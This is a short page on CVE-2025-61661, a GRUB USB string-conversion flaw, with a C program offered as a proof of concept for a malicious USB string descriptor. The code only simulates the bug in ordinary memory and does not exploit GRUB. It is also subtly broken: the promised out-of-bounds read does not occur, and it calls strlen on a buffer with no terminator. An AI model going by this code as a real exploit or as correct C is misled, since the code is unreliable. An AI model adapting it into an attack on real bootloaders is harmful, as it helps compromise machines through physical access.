CVE-2025-61661: GRUB引导程序USB设备字符串转换处理错误漏洞

// CVE-2025-61661 PoC - Malicious USB Device Descriptor // This PoC demonstrates the concept of inconsistent string length handling // Note: Actual exploitation requires physical access and custom USB firmware #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated USB string descriptor with inconsistent length typedef struct { unsigned char bLength; // Descriptor length unsigned char bDescriptorType; // Descriptor type (0x03 for String) unsigned char bString[256]; // UTF-16LE string data } __attribute__((packed)) usb_string_descriptor; // Create malicious descriptor with length mismatch usb_string_descriptor* create_malicious_descriptor() { usb_string_descriptor* desc = malloc(sizeof(usb_string_descriptor)); if (!desc) return NULL; // Set declared length different from actual content desc->bLength = 0xFF; // Declare large length desc->bDescriptorType = 0x03; // Fill with specific pattern that triggers parsing error memset(desc->bString, 0x41, sizeof(desc->bString)); return desc; } // Simulate GRUB's flawed string conversion void grub_usb_string_read(usb_string_descriptor* desc) { unsigned short expected_length = desc->bLength - 2; unsigned short actual_length = strlen((char*)desc->bString); // Vulnerability: Using declared length without validation // This leads to buffer over-read or inconsistent parsing for (int i = 0; i < expected_length; i++) { // Process string data - may read beyond actual content printf("Processing byte %d: 0x%02X\n", i, desc->bString[i]); } } int main() { printf("CVE-2025-61661 PoC - GRUB USB String Handling\n"); printf("===========================================\n\n"); usb_string_descriptor* malicious = create_malicious_descriptor(); if (malicious) { printf("Malicious descriptor created\n"); printf("Declared length: %d bytes\n", malicious->bLength); printf("Attempting to trigger vulnerability...\n\n"); grub_usb_string_read(malicious); free(malicious); } return 0; }